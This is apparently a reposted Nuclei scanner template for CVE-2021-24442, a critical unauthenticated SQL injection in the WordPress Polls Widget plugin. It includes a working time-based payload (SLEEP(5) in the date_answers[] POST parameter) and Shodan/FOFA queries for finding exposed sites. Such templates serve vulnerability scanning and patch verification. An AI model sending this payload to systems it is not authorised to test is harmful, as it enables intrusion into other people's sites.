The Poll, Survey, Questionnaire and Voting system WordPress plugin before 1.5.3 did not sanitise, escape or validate the date_answers[] POST parameter before using it in a SQL statement when sending a Poll result, allowing unauthenticated users to perform SQL Injection attacks
PoC代码[已公开]
id: CVE-2021-24442
info:
name: Wordpress Polls Widget < 1.5.3 - SQL Injection
author: ritikchaddha
severity: critical
description: |
The Poll, Survey, Questionnaire and Voting system WordPress plugin before 1.5.3 did not sanitise, escape or validate the date_answers[] POST parameter before using it in a SQL statement when sending a Poll result, allowing unauthenticated users to perform SQL Injection attacks
remediation: Fixed in 1.5.3
reference:
- https://wpscan.com/vulnerability/7376666e-9b2a-4239-b11f-8544435b444a/
- https://nvd.nist.gov/vuln/detail/CVE-2021-24442
- https://wordpress.org/plugins/polls-widget/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-24442
cwe-id: CWE-89
epss-score: 0.71227
epss-percentile: 0.98673
cpe: cpe:2.3:a:wpdevart:poll\,_survey\,_questionnaire_and_voting_system:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: wpdevart
product: poll\,_survey\,_questionnaire_and_voting_system
framework: wordpress
shodan-query: http.html:/wp-content/plugins/polls-widget/
fofa-query: body=/wp-content/plugins/polls-widget/
publicwww-query: "/wp-content/plugins/polls-widget/"
tags: time-based-sqli,wpscan,cve,cve2021,wp,wp-plugin,wordpress,polls-widget,sqli,wpdevart
http:
- raw:
- |
@timeout: 25s
POST /wp-admin/admin-ajax.php?action=pollinsertvalues HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Forwarded-For: {{randstr}}
question_id=1&poll_answer_securety=8df73ed4ee&date_answers%5B0%5D=SLEEP(5)
matchers:
- type: dsl
dsl:
- 'duration>=5'
- 'status_code == 200'
- 'contains_all(body, "{\"answer_name", "vote\":")'
condition: and
# digest: 4a0a00473045022100f6e4f06866e9c04ae3dac0719689e25bae4829b68d5acae8ad7979919d07072d02206157f498c6f107977d7e6773f37142db5e048bc1a9a8f873947123231a9c6413:922c64590222798bb761d5b6d8e72950